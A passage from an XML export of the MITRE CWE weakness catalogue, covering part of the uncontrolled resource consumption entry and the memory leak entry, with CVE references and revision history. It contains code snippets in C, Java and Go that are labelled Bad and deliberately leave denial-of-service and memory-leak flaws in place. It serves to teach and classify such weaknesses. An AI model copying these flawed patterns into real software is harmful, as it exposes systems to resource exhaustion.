                           <xhtml:br/>if (length &gt; 0) {<xhtml:div style="margin-left:1em;">body = &amp;message[1][0];<xhtml:br/>processMessageBody(body);<xhtml:br/>return(SUCCESS);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">printf("Unable to process message; invalid message length");<xhtml:br/>return(FAIL);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check</Body_Text>
               <Body_Text>Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>unsigned int length = getMessageLength(message[0]);<xhtml:br/>if ((length &gt; 0) &amp;&amp; (length &lt; MAX_LENGTH)) {...}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-52">
               <Intro_Text>In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public void acceptConnections() {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>try {<xhtml:div style="margin-left:1em;">ServerSocket serverSocket = new ServerSocket(SERVER_PORT);<xhtml:br/>int counter = 0;<xhtml:br/>boolean hasConnections = true;<xhtml:br/>while (hasConnections) {<xhtml:div style="margin-left:1em;">Socket client = serverSocket.accept();<xhtml:br/>Thread t = new Thread(new ClientSocketThread(client));<xhtml:br/>t.setName(client.getInetAddress().getHostName() + ":" + counter++);<xhtml:br/>t.start();</xhtml:div>}<xhtml:br/>serverSocket.close();</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>} catch (IOException ex) {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.</Body_Text>
               <Body_Text>The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public static final int SERVER_PORT = 4444;<xhtml:br/>public static final int MAX_CONNECTIONS = 10;<xhtml:br/>...<xhtml:br/>
                     <xhtml:br/>public void acceptConnections() {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>try {<xhtml:div style="margin-left:1em;">ServerSocket serverSocket = new ServerSocket(SERVER_PORT);<xhtml:br/>int counter = 0;<xhtml:br/>boolean hasConnections = true;<xhtml:br/>while (hasConnections) {<xhtml:div style="margin-left:1em;">hasConnections = checkForMoreConnections();<xhtml:br/>Socket client = serverSocket.accept();<xhtml:br/>Thread t = new Thread(new ClientSocketThread(client));<xhtml:br/>t.setName(client.getInetAddress().getHostName() + ":" + counter++);<xhtml:br/>ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);<xhtml:br/>pool.execute(t);</xhtml:div>}<xhtml:br/>serverSocket.close();</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>} catch (IOException ex) {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following example, the serve function receives an http request and an http response writer. It reads the entire request body.</Intro_Text>
               <Example_Code Nature="Bad" Language="Go">
                  <xhtml:div>func serve(w http.ResponseWriter, r *http.Request) {
                     <xhtml:div style="margin-left:1em;">
                        var body []byte<xhtml:br/>
                        if r.Body != nil {<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                           if data, err := io.ReadAll(r.Body); err == nil {<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                              body = data<xhtml:br/>
                           </xhtml:div>
                           }</xhtml:div>
                        }</xhtml:div>
                  }</xhtml:div>
               </Example_Code>
               <Body_Text>Because ReadAll is defined to read from src until EOF, it does not treat an EOF from Read as an error to be reported. This example creates a situation where the length of the body supplied can be very large and will consume excessive memory, exhausting system resources. This can be avoided by ensuring the body does not exceed a predetermined length of bytes.</Body_Text>
               <Body_Text>MaxBytesReader prevents clients from accidentally or maliciously sending a large request and wasting server resources. If possible, the code could be changed to tell ResponseWriter to close the connection after the limit has been reached.</Body_Text>
               <Example_Code Nature="Good" Language="Go">
                  <xhtml:div>func serve(w http.ResponseWriter, r *http.Request) {
                     <xhtml:div style="margin-left:1em;">
                        var body []byte<xhtml:br/>
                        const MaxRespBodyLength = 1e6<xhtml:br/>
                        if r.Body != nil {<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                           r.Body = http.MaxBytesReader(w, r.Body, MaxRespBodyLength)<xhtml:br/>
                           if data, err := io.ReadAll(r.Body); err == nil {<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                              body = data<xhtml:br/>
                           </xhtml:div>
                           }</xhtml:div>
                        }</xhtml:div>
                  }</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-21668</Reference>
               <Description>Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-21668</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-7218</Reference>
               <Description>Go-based workload orchestrator does not limit resource usage with unauthenticated connections, allowing a DoS by flooding the service</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-7218</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-3566</Reference>
               <Description>Resource exhaustion in distributed OS because of "insufficient" IGMP queue management, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-3566</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2874</Reference>
               <Description>Product allows attackers to cause a crash via a large number of connections.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2874</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1928</Reference>
               <Description>Malformed request triggers uncontrolled recursion, leading to stack exhaustion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1928</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2858</Reference>
               <Description>Chain: memory leak (CWE-404) leads to resource exhaustion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2858</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2726</Reference>
               <Description>Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2726</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2540</Reference>
               <Description>Large integer value for a length property in an object causes a large amount of memory allocation.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2540</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2299</Reference>
               <Description>Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2299</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2054</Reference>
               <Description>Product allows exhaustion of file descriptors when processing a large number of TCP packets.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5180</Reference>
               <Description>Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5180</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2121</Reference>
               <Description>TCP implementation allows attackers to consume CPU and prevent new connections using a TCP SYN flood attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2121</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2122</Reference>
               <Description>Port scan triggers CPU consumption with processes that attempt to read data from closed sockets.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2122</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1700</Reference>
               <Description>Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1700</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4103</Reference>
               <Description>Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4103</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-1173</Reference>
               <Description>Mail server does not properly handle deeply nested multipart MIME messages, leading to stack exhaustion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-1173</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0897</Reference>
               <Description>Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0897</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Resource exhaustion (file descriptor, disk space, sockets, ...)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>10</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>41</Entry_ID>
               <Entry_Name>XML Attribute Blowup</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SER12-J</Entry_ID>
               <Entry_Name>Avoid memory and resource leaks during serialization</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC05-J</Entry_ID>
               <Entry_Name>Do not exhaust heap space</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP13</Entry_ID>
               <Entry_Name>Unrestricted Consumption</Entry_Name>
            </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 3-3</Entry_ID>
              <Entry_Name>Req SR 7.1</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 3-3</Entry_ID>
              <Entry_Name>Req SR 7.2</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SI-1</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SVV-3</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
              <Entry_Name>Req CR 7.1</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
              <Entry_Name>Req CR 7.2</Entry_Name>
	    </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="147"/>
            <Related_Attack_Pattern CAPEC_ID="227"/>
            <Related_Attack_Pattern CAPEC_ID="492"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-386"/>
            <Reference External_Reference_ID="REF-387"/>
            <Reference External_Reference_ID="REF-388"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 17, &#34;Protecting Against Denial of Service Attacks&#34; Page 517"/>
         </References>
         <Notes>
	    <Note Type="Maintenance">"Resource consumption" could be interpreted as a consequence instead of an insecure behavior, so this entry is being considered for modification.  It appears to be referenced too frequently when more precise mappings are available.  Some of its children, such as CWE-771, might be better considered as a chain.</Note>
            <Note Type="Theoretical">Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.</Note>
            <Note Type="Other">
               <xhtml:p>Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of Perl code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.</xhtml:p>
               <xhtml:p>A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.</xhtml:p>
            </Note>
			<Note Type="Maintenance">The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, References, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2008-10-14">Resource Exhaustion</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Uncontrolled Resource Consumption (aka 'Resource Exhaustion')</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">Uncontrolled Resource Consumption ('Resource Exhaustion')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="401" Name="Missing Release of Memory after Effective Lifetime" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.</Description>
         <Extended_Description>This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions.  In some languages, developers are responsible for tracking memory allocation and releasing the memory.  If there are no more pointers or references to the memory, then it can no longer be tracked and identified for release.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="772" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1305" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Memory Leak</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>
                  <xhtml:p>Memory leaks have two common and sometimes overlapping causes:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Error conditions and other exceptional circumstances</xhtml:li>
                        <xhtml:li>Confusion over which part of the program is responsible for freeing the memory</xhtml:li>
                     </xhtml:ul>
               </Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Instability</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>Most memory leaks result in general product reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing or hanging the program) or take advantage of other unexpected program behavior resulting from a low memory condition.</Note>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-41">
               <Phase>Implementation</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.</xhtml:p>
                  <xhtml:p>For example, glibc in Linux provides protection against free of invalid pointers.</xhtml:p>
                  <xhtml:p>When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391].</xhtml:p>
                  <xhtml:p>To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use an abstraction library to abstract away risky APIs. Not a complete solution.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Build and Compilation</Phase>
               <Description>The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code.</Description>
               <Effectiveness_Notes>This is not a complete solution as it is not 100% effective.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* getBlock(int fd) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char* buf = (char*) malloc(BLOCK_SIZE);<xhtml:br/>if (!buf) {<xhtml:div style="margin-left:1em;">return NULL;</xhtml:div>}<xhtml:br/>if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>return NULL;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return buf;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-3119</Reference>
               <Description>Memory leak because function does not free() an element of a data structure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3119</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0427</Reference>
               <Description>Memory leak when counter variable is not decremented.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0427</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0574</Reference>
               <Description>chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0574</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3181</Reference>
               <Description>Kernel uses wrong function to release a data structure, preventing data from being properly tracked by other code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3181</Link>
            </Observed_Example>
